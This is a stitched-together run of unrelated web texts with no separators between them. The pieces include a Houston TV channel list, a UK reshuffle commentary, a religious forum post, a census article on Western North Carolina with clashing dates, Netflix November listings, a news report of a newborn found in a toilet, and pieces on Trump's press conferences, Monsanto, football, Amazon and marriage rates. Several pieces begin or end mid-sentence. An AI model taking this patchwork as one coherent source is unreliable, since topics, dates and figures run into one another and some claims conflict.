KTBU (RF 42)
55.1 Mega TV(Comcast 55, U-verse 55, Charter 18, Consolidated 6)
55.2 VAN TV, Vietnamese (live stream)
55.3 Nacion TV
55.4 ABTV, Chinese
55.5 ITV Houston, Chinese (live stream)
55.6 WCETV (CCTV News)
KUBE (RF 41)
57.1 Independent (Comcast 53, U-verse 57, Charter 99, Consolidated 17)
57.2 Charge!
57.3 BYN, Vietnamese
57.4 Cozi TV(Comcast 311, U-verse 136)
57.5 VieneVision
57.6 Mi Raza
57.7 This TV
KZJL (RF 44)
61.1 Estrella TV (Comcast 3, U-verse 61, Charter 5, Consolidated 5)
KFTH (RF 36)
67.1 Telefutura(Comcast 15/615 HD, U-verse 15/1015 HD, Charter 20/794 HD, Consolidated 15)
67.2 GetTV
67.3 Grit
Low power stations not on the air yet:
KAHO-LD (4)
Station moving in from Woodville. Owned by Hosanna Apostolic Ministries Broadcasting Corporation.
KEHO-LD (49) (will have to identify as channel 32)
Currently licensed to Beaumont, has applied to move its transmitter to the JPMorgan Chase Tower in downtown Houston. Owned by Elva Rosa and Moises Garza.
AdvertisementsFirst the “badgers moved the goalposts”. Now environment secretary, Owen Paterson, has been shown the red card in a cabinet reshuffle.
The environmental views of Paterson's replacement, Liz Truss, are little known, but the former Shell employee is a free market enthusiast who backed the doomed sell-off of public forests. That suggests someone who – like Paterson – sees environmental protection as so much red tape to cut.
Elsewhere in the reshuffle, the departure of foreign secretary, William Hague, who clearly recognised climate change as the global strategic threat it is, and irrepressible green cheerleader Greg Barker as energy minister, removes two of a rare breed: strong green Tory voices in government.
Only time will reveal Truss's views but the absolute minimum required is that – unlike Paterson – she accepts global warming as a manmade danger. It was fundamentally ridiculous to have a climate change sceptic leading the Department for Environment, Food and Rural Affairs, and damaging too. Paterson slashed the funding for adapting to climate change by 40%, just as the warnings of rising risks becoming deafening.
But in fact many of the crises – floods, horsemeat, badger culling – that paved the way to Paterson's sacking pre-dated his arrival at Defra in September 2012. The controversial badger cull policy had already been in place by his predecessor Caroline Spelman. As the culls limped towards their predictable failure, another environment secretary might have dumped them – and Truss should. But the obsessed Paterson waded in ever deeper. No10 wanted to bury the bad news of the cull along with the badgers. Instead, the controversy worsened.
The floods that devastated many parts of Britain last winter were the worst kind of bad news for Paterson: uncontrollable. But his defences against criticism had huge holes in them thanks to heavy budget cuts in flood protection implemented by Spelman. Paterson actually won increased flood defence spending from Treasury, even before the winter deluge, and was praised by Environment Agency chair Lord Chris Smith for his hard work during the floods crisis even when a detached retina confined him to a hospital bed.
Farmers and landowners will miss the “true blue countryman” (the headline of a supposedly harsh profile I wrote of Paterson which he told me was in fact “very fair”). Paterson gave them virtually everything they wanted, including vociferous but doomed opposition to an EU ban on bee-harming pesticides. He also oversaw a new phase of the vast subsidy hand-out that is the Common Agricultural Policy, where his loathing of big government did lead him to curb the demands of farmers a little.
One of the few policies clearly identified with Paterson is biodiversity offsetting, which allows developers to destroy green spaces if they create new areas elsewhere. But even this is unlikely to provide a legacy: I am told No10 are unconvinced and happy for it fade away unimplemented.
Paterson was charming, hard-working and utterly blinkered. Defra governs so many parts of our lives – air, water, land, food – that its new boss must work with the scientific advice that informs effective policy, not rail against inconvenient truths.
The massive Defra cuts Spelman blithely accepted in the heady new days of the coalition in 2010 – the biggest of any major department in Whitehall – made the department a disaster waiting to happen. Paterson's many blind spots – climate change the biggest of all – ensured that, like Spelman, he was soon dumped back onto the back benches.
The reshuffle has also seen energy and climate change minister, Greg Barker, resign.
Barker was one of a few true Tory greens, who saw the danger of global warming and the opportunity of the fast-growing green economy. But even his greatest supporters would find it difficult to deny that the biggest policy he oversaw – the green deal energy efficiency scheme – has been a catastrophe, with insulation rates plummeting. The other energy minister Michael Fallon, an ungreen ying to Barker's yang, is also going. But he is promoted to the cabinet as defence secretary.
The replacements for Paterson, Barker, Fallon and Hague may yet surprise us, but as it stands the Conservative Party are set to go into the next election with a very different position on the environment than the “vote blue, go green” of 2010. They have got rid of the “green crap”.We think it is all about us. Be it bad good or indifferent this is God's will. Why? For the disobedient. The non-believer. God is dealing with Christianity on a grand scale. Do not get it twisted. God is playing an actual role in society and daily life in America and all over the world.
As a result of disobedience and neglect of teaching children right from wrong. Everyone is going their own way. Confused and bewildered. God said heaven and earth will pass away but my word will last forever. The Church also has a form of godliness yet they no longer believe in the power of God by the work of the Holy spirit. 2timothy3.
You say it is evilutionist? I say it is mankind. Man devises his way but it is God that directs his steps for his good or his bad. There is always a way that seems right to mankind but in the end it is utter destruction. Our children are murderers fornicators pedophiles liars disrespectful to adults and parents. uneducated lackadaisical ingrates. Why? Because they have seen it in their parents. There is no discipline in the home because the government names it abuse. Sure people do abuse their children in more ways than one. Yet if they are doing these things it is because it is a innate ability for them to do them. Why? Because their forefathers did the very same thing.
Apes recognize themselves as apes. Men recognize themselves as apes because they are looking to and excuse for the non-existence of God. Apes do not acknowledge a creator. They do not speak or praise nor do they worship God. They have no inkling regarding prayer and relationship with Jesus Christ.
Source(s): Mankind without God do not have a slight hint or indication of what is necessary for the human race. Less known our children. You think sex is a issue? The mind and heart that is the issue. That is where the evil lies. Deuteronomy 30. God said I stand before you life and death. I ask you to choose life that you and your children will live. Homosexuality is not what is prevalent.Sin is prevalent. It is just like a stock car race. Everyone is driving towards it. God sees us. love · 9 years ago 0 Thumbs up 0 Thumbs down Report AbuseThousands more people are living in Western North Carolina than were here during the 2010 census, with minority ethnic group populations especially increasing, according to the Carolina Public Press’ analysis of new U.S. Census estimates released last month.
In the 19 county region of WNC, the population increased from 919,515 in April 2010 to 940,963 in July 2011. That’s an increase of 20,948 residents is more than the equivalent of squeezing in the populations of Graham and Clay counties from 2010 an extra time. Overall it represents about a 2.3 percent increase during the five-year period.
But the growth was markedly uneven. The region’s largest counties, Buncombe and Henderson, had the largest gains. But the next two largest, Burke and Rutherford, saw stagnant economies drive residents away for sizable declines.
Other counties gaining population were Clay, Haywood, Jackson, Macon, Swain and Watauga. Other decliners were Avery, Graham, McDowell, Mitchell, Polk and Yancey.
Following are the ranks for the 2015 population estimates in Western North Carolina by county with the percentage of growth or decline since 2010 in parenthesis:
Buncombe, 253,178 (+6.24 percent) Henderson, 112,655 (+5.54 percent) Burke, 88,842 (-2.28 percent) Rutherford, 66,390 (-2.09 percent) Haywood, 59,868 (+1.41 percent) Watauga, 52,906 (+3.58 percent) McDowell, 44,989 (-0.02 percent) Jackson, 41,265 (+2.47 percent) Macon, 34,201 (+0.82 percent) Transylvania, 33,211 (+0.37 percent) Cherokee, 27,178 (-0.97 percent) Madison, 21,139 (+1.81 percent) Polk, 20,366 (-0.70 percent) Avery, 17,689 (-0.61 percent) Yancey, 17,587 (-1.30 percent) Mitchell, 15,246 (-2.14 percent) Swain, 14,434 (+3.24 percent) Clay, 10,703 (+1.10 percent) Graham, 8,616 (-2.76 percent)
The census also showed different trends for the ethnic makeups of each county and the region’s overall diversity.
WNC was 88.2 percent white non-Hispanic in 2010, which had dropped to 87.3 percent in 2015. While that represented a small decrease for the share of the majority group, it represented a relatively bigger percentage increase for several minority groups.
Black population
Due to historic patterns, mountainous regions of the South have been home to smaller numbers of black residents than those in low-lying areas near the coasts or in larger urban communities.
Non-Hispanic black residents made up about 4.9 percent of the region’s population in 2010, which grew slightly to 5.1 percent in 2015.
The counties with the highest non-Hispanic black proportion of their populations are Rutherford (10.8 percent), Buncombe (7.3 percent) and Burke (7.0%). Several counties with very small black populations saw statistically significant increases, including Graham, Mitchell and Swain counties where the number of black residents more than doubled, but still remains a tiny fraction of those counties populations.
Despite the overall decline in populations for about half of the WNC counties, the only counties experiencing a net loss of black residents were Cherokee County, which lost 471 black residents, and Rutherford, which lost 321.
Native American population
Native Americans make up a substantial population group in several WNC counties and a stable, if smaller, presence in several others, totaling 17,620 people regionally, or about 1.9 percent of the population.
The presence of Native Americans here is due primarily to descendants of Cherokees who resisted removal to Western territories (now Oklahoma) in the mid-19th century.
This includes many isolated small family groups of Cherokee descendants throughout WNC, plus the organized Eastern Band of Cherokee Indians, whose territory is primarily in Swain and Jackson counties. Along with generally populous Buncombe and Henderson counties, these otherwise smaller counties are home to thousands of Native Americans. In Swain alone, the non-Hispanic Native American population is 29.1 percent.
People who identify with other Southeastern tribes, such as the Catawbas and Lumbees, are also present in some counties, as are Native Americans who have moved to the area from elsewhere.
Overall, the Native American population of WNC increased 4.8 percent since 2010, with double-digit percentage increases in Buncombe, Clay, Haywood, Henderson, McDowell, Macon, Polk, Rutherford, Swain and Watauga counties. American Indian populations dropped slightly in Avery, Cherokee and Jackson counties.
Asian and Pacific population
Asians and Pacific Islanders make up only a small percentage of the region’s population, though their numbers have grown somewhat since 2010, 18.9 percent for Asians and 14.3 percent for Pacific Islanders.
A sizeable Hmong population in Burke County gives it the highest Asian population percentage in WNC at 4.0 percent, though larger Buncombe has more actual number of Asian residents.
The Hmong are native to Laos and Vietnam, with many immigrating to the United States as refugees following the Vietnam War in the 1970s. North Carolina is home to several of the nation’s largest Hmong communities.
Other Asian groups include Chinese, Japanese, Koreans, (Asian) Indians, Thais and Vietnamese. The Census categories may be ambiguous for some nationalities, such as Filipinos, Malaysians and Indonesians, who may reasonably identify as Asian or Pacific Islander.
The existence of a substantial Hispanic population for both categories suggests that Filipinos especially are uncertain about which group to identify under.
Hispanic population
The Census has a complicated system for counting Hispanic residents in general, recognizing that people may be of any of the other groups (White, Black, American Indian, Asian or Pacific Islander) and also have Spanish surnames or ancestry that includes people with Spanish surnames.
The numbers above have included only non-Hispanic representatives of the various groups.
The overall Hispanic population of WNC grew substantially, about 12.6 percent since 2010. The largest percentage growth occurred in Graham County (52.3 percent growth), but the largest numbers of additional Hispanic residents were heavily in Buncombe County, such saw a 2,385-person increase in its Hispanic population. No county saw a net decrease in its Hispanic population.
The region now has a roughly 6.0 percent Hispanic population, though it is spread unevenly. Henderson County has the area’s largest percentage of Hispanic residents at 10.2 percent, followed by Buncombe at 6.8 percent and Burke at 6.2 percent.
The smallest percentage Hispanic population is in Madison County, which has just 2.5 percent Hispanic.
Editor’s Note: Carolina Public Press currently defines Western North Carolina as a 19-county region that includes Cherokee, Clay, Graham, Swain, Macon, Jackson, Haywood, Transylvania, Polk, Rutherford, Henderson, Buncombe, Madison, Mitchell, McDowell, Burke, Yancey, Avery, and Watauga counties. Many earlier CPP articles used a 18-county definition of Western North Carolina that did not include Burke County. Other media and government regional reports use a variety of different definitions for the region that typically include Ashe, Alleghany, Caldwell, Wilkes, Surry, Alexander, Cleveland, Catawba, Lincoln, Yadkin or other counties.How many people are going to watch Gilmore Girls: A Year In the Life the first weekend it's available? If the estimate that 10 million people streamed Fuller House in its first week of release earlier this year is accurate, it's not outrageous to predict that 10 million people will watch Gilmore Girls in the first three days. First of all, it's the weekend after Thanksgiving, when most people are off from work. Second of all, it's only four episodes long, which is a very easy binge. Third of all, fan love for Gilmore Girls cannot be overestimated. They waited on line for hours to get a cup of coffee from Luke's. Netflix knows what it's doing. We may never know the exact number of viewers, since Netflix doesn't share that info with anyone, but the sequel is all but guaranteed to be a big hit.
Obviously, Gilmore Girls: A Year In the Life is the most notable arrival on Netflix in November (it drops Friday, Nov. 25), but there's plenty of other notable things coming, too, such as prestigious British royal family drama The Crown, which arrives on Nov. 4; Kevin James' action-comedy Netflix original movie True Memoirs of An International Assassin on Nov. 11; and Dana Carvey's first standup special since 2008, Dana Carvey: Straight White Male, 60, on Nov. 4.
Unfortunately, Zachary Levi's campaign to save Chuck from leaving Netflix was unsuccessful, and the cult favorite action-comedy departs Nov. 1. Other notable departures include the British version of Shameless, The Powerpuff Girls and, most heartbreakingly of all, the infamous Bennifer flop Gigli.
The full list of what's coming to and leaving Netflix in November is below.
Lauren Graham, Alexis Bledel and Scott Patterson, Gilmore Girls Photo: Saeed Adyani/Netflix
WHAT'S COMING
11/1
The African Queen
Alfie
Bob the Builder: White Christmas
Candyman 2: Farewell to the Flesh
The Confessions of Thomas Quick
Cujo
The Doors
The Heartbreak Kid (2007)
Jetsons: The Movie
King's Faith
Love, Now
Norman Lear: Just Another Version of You
Pervert Park
Ravenous
Stephen King's Thinner
Tales from the Darkside: The Movie
Thomas & Friends: A Very Thomas Christmas
Thomas & Friends: Holiday Express
Thomas & Friends: Merry Winter Wish
Thomas & Friends: The Christmas Engines
Thomas & Friends: Ultimate Christmas
11/2
Dough
Food Choices
Meet the Blacks
11/4
The Crown: Season 1 (Netflix Original)
Dana Carvey: Straight White Male, 60 (Netflix Original)
The Ivory Game (Netflix Original)
Just Friends
World of Winx: Season 1 (Netflix Original)
11/9
Danger Mouse: Season 2 (Netflix Original)
11/11
All Hail King Julien: Season 4 (Netflix Original)
Case: Season 1 (Netflix Original)
Estocolmo: Season 1 (Netflix Original)
Roman Empire: Reign of Blood: Season 1 (Netflix Original)
Tales by Light: Season 1 (Netflix Original)
True Memoirs of An International Assassin (Netflix Original)
Under the Sun (2015)
11/12
Take Me to the River (2015)
11/13
Chalk It Up (2016)
11/14
Carter High (2015)
11/15
Dieter Nuhr: Nuhr in Berlin (Netflix Original)
K-POP Extreme Survival: Season 1
Men Go to Battle (2015)
The Missing Ingredient: What is the Recipe for Success?
11/16
The 100: Season 3
Burn After Reading
Jackass 3.5: The Unrated Movie
Paddington
11/17
Lovesick: Season 2 (Netflix Original) (Formerly known as Scrotal Recall)
Paranoid: Season 1 (Netflix Original)
11/18
The Battle of Midway
Beat Bugs: Season 2 (Netflix Original)
Colin Quinn: The New York Story (Netflix Original)
Divines (Netflix Original)
Prelude to War
San Pietro
Sour Grapes
Thunderbolt
Tunisian Victory
Undercover: How to Operate Behind Enemy Lines
Why We Fight: The Battle of Russia
WWII: Report from the Aleutians
11/22
Mercy (Netflix Original)
11/23
Penguins: Spy in the Huddle: Season 1
11/25
3%: Season 1 (Netflix Original)
Boyhood
Gilmore Girls: A Year in the Life (Netflix Original)
Michael Che Matters (Netflix Original)
11/29
Silver Skies
11/30
Ghost Team
I Dream Too Much
The Jungle Book
Level Up
Traded
WHAT'S LEAVING
11/1
The Addams Family
Almost Famous
Angel Heart
Barnyard
Bratz: The Movie
The 'Burbs
Can't Hardly Wait
Chuck: Seasons 1-5
The Core
Deliverance
E.T. the Extra-Terrestrial
Echelon Conspiracy
Eight Crazy Nights
Empire State
Equilibrium
Escape to Witch Mountain
The Family Man
Fatal Attraction
Fresh
Get Rich or Die Tryin'
The Holiday
Into the Wild
Kangaroo Jack
Legally Blonde
Legally Blonde 2: Red, White & Blonde
Major League
Mansfield Park
Meet Joe Black
Mel Brooks: Make a Noise
Open Season
Open Season 2
Open Season 3
Patton Oswalt: My Weakness Is Strong
Powerpuff Girls: Seasons 1-6
Rounders
Scream 2
Sex: My British Job
Shameless: Series 1-10 (UK)
Sky Captain and the World of Tomorrow
Something's Gotta Give
The SpongeBob SquarePants Movie
Spy Game
The Sum of All Fears
Total Drama World Tour
Underground: The Julian Assange Story
Urban Cowboy
Varsity Blues
What Women Want
11/2
The English Teacher
11/4
Gigli
11/5
The Homesman
11/11
Quartet
11/14
Seal Team 8: Behind Enemy Lines
11/15
Naked Among Wolves
11/16
The American
Let's Go to Prison
11/22
Tracers
11/23
The Boxtrolls
Scenic Route
Ultimate Spider-Man: Web Warriors
11/24
The Boondocks: Seasons 1-4
Chowder: Seasons 1-3
Courage the Cowardly Dog: Seasons 1-4
Uncle Grandpa: Season 1
11/25
Robin Hood (1973)
11/30
Stuck in Love
xXxWEST COVINA, Calif. -- A newborn boy was found in the toilet of a Subway restaurant Monday, and his mother, a homeless woman, was held by police who followed a blood trail, authorities said.
Mary Grace Trinidad, 38, was found behind a nearby auto parts store in the eastern Los Angeles suburb, police spokesman Rudy Lopez said.
Police were called to the Subway on South Azusa Avenue around 8:30 a.m. after a bleeding woman was seen leaving the sandwich shop and employees saw the blood trail came from the toilet, Lopez said.
"Employees went inside and saw an umbilical cord hanging out of the toilet, then they found the baby in the toilet," Lopez told City News Service.
The crying infant was hospitalized in critical condition because being partially submerged in the cold toilet water lowered his core body temperature, police Lt. Dennis Patton told the Los Angeles Times.
Police followed the blood trail out of the Subway and found Trinidad, who also was taken to a hospital, police said.
A transient who is well-known in the neighborhood, she was wanted on a drug-related warrant and could face charges of attempted murder and child abandonment, police said.
"I've done this for 36 years. I thought I had seen everything," Lopez told the San Gabriel Valley Tribune. "I have no words to describe how I'm feeling about this."
CBS Los Angeles reported people in the area saw Trinidad walking up and down the strip for at least a day while in labor.
Under California's Safely Surrendered Baby Law, the parents or legal guardians of a newborn can turn in the child at a fire station or hospital with no questions asked if it is within three days of the birth and there are no signs of abuse.
CBS Los Angeles reported that the restaurant will remain temporarily closed while crews clean inside the building.President Donald Trump, first lady Melania Trump and their son, Barron, walk to Marine One at the White House en route to Mar-a-Lago in Palm Beach, Fla.
March 17, 2017 President Donald Trump, first lady Melania Trump and their son, Barron, walk to Marine One at the White House en route to Mar-a-Lago in Palm Beach, Fla. Jabin Botsford/The Washington Post
The beginning of the president’s term has featured controversial executive orders and frequent conflicts with the media.
The new president is expected to make his mark on an aggressive legislative agenda.
The new president is expected to make his mark on an aggressive legislative agenda.
See what President Trump has been doing since taking office
See what President Trump has been doing since taking office
For the past eight years, a presidential news conference was a chance to hear from Professor Obama, the long-winded lecturer in chief who expounded on domestic politics and international relations with nuance, depth, range and, most of all, a lot of words.
Under the new administration, brevity is in.
President Trump, who has carved out a niche online as the tweeter in chief, is willing to go beyond 140 characters while fielding questions from reporters at the White House. But sometimes, it seems, not by much.
Trump’s joint news conferences with foreign leaders are brisker affairs. He is not interested in filibustering answers to run out the clock, the way Obama did, but prefers racing through them in a mix of simplistic declarative sentences, ad-libs and non sequiturs.
When he does fall back on talking points, as all politicians inevitably do, they are not the kind that come from a briefing book prepared by an aide. Rather, Trump’s talking points often appear to spring from his own id and have little or nothing to do with the subject at hand.
(Sarah Parnass/The Washington Post)
Wednesday offered another example.
Appearing in the East Room with Israeli Prime Minister Benjamin Netanyahu, Trump answered a question about whether the United States was giving up on a two-state solution to Middle East peace, a major change in policy, with 74 words that amounted to his being okay with two states, one state or “the one that both parties like.”
To a question about his proposal to relocate the U.S. Embassy from Tel Aviv to Jerusalem — a move that could inflame tensions with the Palestinians — Trump was even briefer, offering a 38-word response that he’d “love to see that happen” and that his administration was “looking at it very, very strongly... with great care, believe me.”
He did not explain why, what factors he was considering or when it might happen.
Most perplexing was Trump’s response to a pointed challenge from an Israeli journalist who suggested that many in the Jewish community say that his brand of politics is propagating racism, xenophobia and a rise of anti-Semitism in the United States.
Trump spent slightly more time answering this thorny question: 230 words. But the first 56 of them centered on one of his most reliable talking points: boasting about his electoral college victory over Hillary Clinton.
“We were not supposed to crack 220,” he said. Turning to Netanyahu on his right, Trump sought some affirmation: “You know that, right?”
Taking on the question more generally, Trump then offered a number of sweeping promises — “We are going to have peace,” “We are going to stop crime” — before pointing out that he has “so many friends” who are Jewish, including his daughter Ivanka and son-in-law, Jared Kushner, both sitting in the front row.
Trump wrapped up by predicting that “a lot of good things” would happen to the country under his watch: “You’re going to see a lot of love. You’re going to see a lot of love. Okay? Thanks.”
Trump didn’t even bother denying the accusations laid out in the reporter’s question.
In all, Trump spoke fewer than 1,000 words in response to questions from four reporters. By comparison, when Obama joined Netanyahu for a joint news conference in Jerusalem in 2013, he employed more than 2,350 words in fielding queries from four reporters.
Trump’s economy of words at his White House news conferences matches other aspects of his governing style. He is said not to read books and prefers aides to deliver policy reviews in one-page documents replete with bullet points.
Obama, in his final year, carved out hours of his time to discuss his legacy with historians and magazine writers in long-form interviews, even penning his own treatises of 5,000 words for academic journals. Trump prefers to engage in the sound-bite pithiness of cable news and quick-cut optics of reality TV.
During a hastily arranged joint appearance with Japanese Prime Minister Shinzo Abe last weekend in the wake of North Korea’s ballistic missile test, Trump stepped to the lectern after Abe and appeared to disregard a written statement prepared by staffers.
Instead, he spoke 23 words off the cuff: “I just want everybody to understand and fully know that the United States of America stands behind Japan, its great ally, 100 percent.”
Trump neglected to mention another U.S. ally in equal, if not greater, potential jeopardy: South Korea.
If Obama, a former constitutional law professor, came across as overly cerebral and, on occasion, haughty, Trump’s style makes him appear unprepared or, at times, disinterested.
But both presidents have used their unique styles to obfuscate on knotty issues.
Obama’s answers often drowned his audience — in this case, reporters — in an ocean of words, making modest shifts in the administration’s position nearly indecipherable and requiring attentive listening even as it became difficult to remember the question.
Trump’s quick changes of topic can make it challenging for reporters to pin him down. Trump and his press secretary, Sean Spicer, often move on to another questioner so quickly that reporters are unable to ask a follow-up. And the White House has been accused of favoring conservative-leaning news outlets in hopes of getting friendly questions and coverage.
Trump is also adept at employing verbal assaults on his political rivals, including reporters, to divert attention and gain the upper hand.
He opened his answers Wednesday by reiterating his attack, first leveled on Twitter, against the “fake media” for its treatment of his former national security adviser, Michael Flynn, who resigned earlier in the week amid reports that he had misled the administration about his contact with Russian government officials.
Later in the day, however, Trump had less to say about the circumstances of Andrew Puzder, who withdrew as Trump’s labor secretary nominee amid widespread bipartisan opposition.
In an impromptu session outside his office, Spicer told reporters that a presidential statement on Puzder was forthcoming. A few moments later, an aide handed Spicer a note, and the spokesman amended his guidance: The president would have nothing to say after all.
Read more:
Donald Trump was asked a question about anti-Semitism. His answer was about the electoral college.
In the early weeks of the new administration, the humbling of a president
Upheaval is now standard operating procedure inside the White HouseCentral Massachusetts Growers Take On Monsanto Corporation
Julie Rawson of Barre’s Many Hands Organic Farm and Frank Phelan of Worcester’s Living Earth grocery store have two deep passions: local and organic food; and healthy and sustainable communities. For them, the two pursuits go hand in hand. They also share a pair of deep antipathies: the powerful, influential chemical and agricultural industries known as Big Chem and Big Agra – which have become one and the same in recent decades.
Julie’s husband, Jack Kittredge, also shares these passions and antipathies. In addition to helping run Many Hands Organic Farm, he’s one of the leaders of a national campaign against Big Chem/Big Agra’s Monsanto and its patenting and sale of genetically modified organisms.
GMOs produce mono-cultures of fruits and vegetables, which are much more vulnerable to widespread virus and disease. Biodiverse cultures – the heart and soul of Mother Nature - avoid the widespread phenomenon due to their very biodiversity. The rapidly growing global and domestic use of GMOs was driven home recently by Mother Jones in World's GMO Crop Fields Could Cover the U.S. 1.5 Times Over.
The organic-farming movement – both locally and globally - is freaking out over GMOs. Groups such as Occupy Monsanto are fighting back, with a public action schedule for September 17. Beside being one of the biggest purveyors of GMOs, Monsanto – with an R&D facility in Cambridge - controls 40 percent of the conventional seed market in the U.S. and 20 percent of the worldwide market, including organics and heirlooms.
Julie Rawson, Frank Phelan and Jack Kittredge may be David to the Goliath represented by Monsanto and its bottom-line-driven brethren. But they are hopeful and confident – legal and consumer rocks in sling – that they and their local, organic and sustainable allies will someday slay these Anti-Green Giants.
Putting up their legal dukes
Local, organic farming has taken root and is growing in Central Massachusetts. When the Regional Environmental Council held its first Slow Food Gala at the College of the Holy Cross in 2005, it was able to locally source – that is, within 100 miles – only a small portion of the organic food served during that event. Last year, the amount had risen dramatically to 95 percent.
Working soiled-hand-in-gardening-glove with REC to preserve and protect Greater Worcester’s local, organic diversity, is Worcester Roots Project. Its Toxic Soil Busters program mediates inner-city soil so that REC's Youth Grows program as well as other neighborhood residents can grow organic gardens in toxic-busted soil - or, at least, in raised boxes that sit on still-toxic soil. Meanwhile, REC continues to expand both its Community Farmers Market and its Mobile Farmers Market.
This helps to explain why local, organic farming is now facing competition from Big Retail. In what some regard as oxymoronic, Walmart is getting into organic food - raising serious questions about whether the price-squeezing behemoth is truly going green or merely greenwashing. Charming charlatans of the “Mad Men” world use greenwashing to promote a false or misleading perception that an organization’s products, aims and/or policies are truly environmentally safe and sound.
Amid the raging debates over GMOs and greenwashing, two wheat growers in Washington state recently sued Monsanto for the allegedly unauthorized release of genetically modified wheat. Their legal action followed by just days a similar suit filed against Monsanto by a Kansas farmer. Monsanto responded by saying it had tested more than 30,000 seed samples in Oregon and Washington state and found no evidence of GMO contamination. However, several plant scientists reportedly questioned Monsanto’s test results.
In 2011, Public Patent Foundation, which represents several chapters of the Northeast Organic Farming Association, including NOFA-Mass., sued Monsanto over its patents on genetically modified seed. This June, a federal Appeals Court - agreeing with a federal District Court - found that NOFA had no legal standing because its claim was "hypothetical," and dismissed the suit.
Last month, a group of biotech-seed companies launched GMO Answers, an online forum to defend GMOs. The effort is funded in large part by Monsanto. This is the same Monsanto that gave us the now-infamous Agent Orange, one of the herbicides and defoliants used by the U.S. military as part of its chemical-warfare program during the Vietnam War.
This is also the same Monsanto that future GOP presidential nominee Mitt Romney, as a then-consultant, helped to rescue from financial and scandal troubles a quarter century ago, by getting the chemical maker to diversify into agriculture. Monsanto sells $1 billion worth of herbicides every three months, with weed-killing Roundup its top brand.
As The Nation reported during the 2012 presidential campaign in Mitt Romney, Monsanto Man, “The Union of Concerned Scientists criticized the absence of independent and long-term research findings on [GMO] safety, charging that we are placing ‘a huge wager’ on this little-examined technology.” The article |
ridge Network have revealed that they will be installing three fridges in London, one in Milton Keynes and one in Northern Ireland as part of this new initiative. Within the next year, it is hoped that the partners can oversee installation of more than 500 appliances.
The first community fridge in NI will open on Thursday 10th August and will be located at The Old Mill on Cloughmills’ Main Street. Cloughmills Community Action Group has called on local shops, supermarkets and restaurants to share their surplus, in date, food through the new installation.
A recent trial in Swadlincote saw over 900 food items redistributed and more than 500kg of food being saved every month.
Hubbub co-founder Trewin Restorick said in a statement. “It’s great to see healthy perishable food going to those who need it most and we would love to hear from other communities who might be interested in joining us.”
Other Food Waste Initiatives
We recently revealed a food waste initiative of our own. ISL Waste Management works with SOS NI to redistribute food from local supermarkets, restaurants and shops. We have successfully diverted more than £500,000 of produce to charities and food banks in the last twelve months.
If you would like to get involved in our programme, we can help you save costs, while also saving the world. We also offer a free consultation. Just drop us a line.AC Milan coach Vincenzo Montella is looking to make one of his first transfers a big one as he wants to bring in Juan Cuadrado.
Montella took his place on the Milan bench in late June and set out the objective to get the Rossoneri back into European competition, and hopes a new signing will do just that.
According to Sport Mediaset, the 42-year-old has expressed his interest in Colombian international Cuadrado and has asked the Diavolo’s management to look into a transfer.
Montella knows Cuadrado well after they spent three years together at Fiorentina, before the winger moved on to Chelsea and Juventus while Montella switched to Sampdoria.
Chelsea sent Cuadrado out on loan to the current Serie A champions last season where he managed five goals in 40 games, as well as assisting a further eight.Amazon is looking at all kinds of ways to improve logistics and reduce costs. They’ve been experimenting with drones and buying truck trailers, and now they’re taking to the high seas.
Seattle is home to one of the busiest ports in the US, and Amazon is moving as much freight through it as anyone. They’re now setting up shop in China, where the operation is listed as “1 Beijing Century JOYO Courier Service Co.” By receiving authorization from the Federal Maritime Commission, they can now extend their Fulfillment by Amazon services to their numerous Chinese suppliers.
Just like with the truck trailers they purchased, Amazon won’t actually own the vehicles themselves. They’re acting as a freight forwarder. That means they’ll be organizing shipments from the factories in China to their final destination. For now, that means an Amazon warehouse. Eventually, if Amazon has their way, it’ll be your front door.
The people most likely to benefit from Amazon’s latest move? Amazon themselves, though customers will likely see some savings, too. Analysts believe that Amazon should be able to secure more favorable pricing from their suppliers since they can provide end-to-end logistics, and that could lead to lower pricing for shoppers.
San Francisco-based Flexport also believes that Amazon has one major advantage over the competition: they’re very, very good at automation. Since a good chunk of shipping a container of goods overseas is labor, Amazon might be able to further improve their bottom line if they can apply their warehouse expertise the shipping yard.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Ajax played their opening Champions League fixture of the season last night, coming from behind to earn a point at home to Paris Saint Germain.
In an eagerly anticipated fixture that saw former Ajax hero Zlatan Ibrahimovic returning to face his former side, the Ajax fans came prepared with some excellent banners to welcome their opponents.
Firstly, one banner read 'Welcome back son of God' - a message that Zlatan himself recognised as rumours suggest he told reporters 'of course it was for me', fending off suggestions it was aimed at either Maxwell or Van der Wiel, both off whom are also former Ajax players.
Up next, the piece de resistance, a cheeky jibe...
It's not the first time Ajax fans have tried to wind up their opponents either:
Even when it comes to modern day ticket prices
That being said, they do have a lot of class too
And they show support to their opponents when needed:The Marriage Gap
Matrimony is flourishing among the rich but floundering among the poor, leading to a large, corresponding “marriage gap.” Women with at least a BA are now significantly more likely to be married in their early 40s than high-school dropouts:
During the 1960s and 1970s, it looked as if the elite might turn away from this fusty, constricting institution. Instead, they are now its most popular participants. In 2007, American marriage passed an important milestone: It was the first year when rates of marriage by age 30 were higher for college graduates than for non-graduates. Why should we care about the class gap in marriage? First, two-parent households are less likely to raise children in poverty, since two potential earners are better than one. More than half of children in poverty—56.1 percent, to be exact—are being raised by a single mother.
Second, children raised by married parents do better on a range of educational, social and economic outcomes. To take one of dozens of illustrations, Brad Wilcox estimates that children raised by married parents are 44% more likely to go to college. It is, inevitably, fiendishly difficult to tease out cause and effect here: Highly-educated, highly-committed parents, in a loving, stable relationship are likely to raise successful children, regardless of their marital status. It is hard to work out whether marriage itself is making much difference, or whether it is, as many commentators now claim, merely the "capstone" of a successful relationship.
Three Kinds of Marriage
The debate over marriage is also hindered by treating it as a monolithic institution. Today, it makes more sense to think of “marriages” rather than “marriage.” The legalization of same-sex marriages is only the latest modulation, after divorce, remarriage, cohabitation, step-children, delayed child-bearing, and chosen childlessness.
But even among this multiplicity of marital shapes, it is possible to identity three key motivations for marriage—money, love, and childrearing—and three corresponding kinds of marriage: traditional, romantic, and parental (see Box).
Traditional marriage is being rendered obsolete by feminism and the shift to a non-unionized, service economy. Romantic marriage, based on individual needs and expression, remains largely a figment of our Hollywood-fueled imaginations, and sub-optimal for children. HIP marriages are the future of American marriage—if it has one.
1. Traditional Marriage: Going, Going...
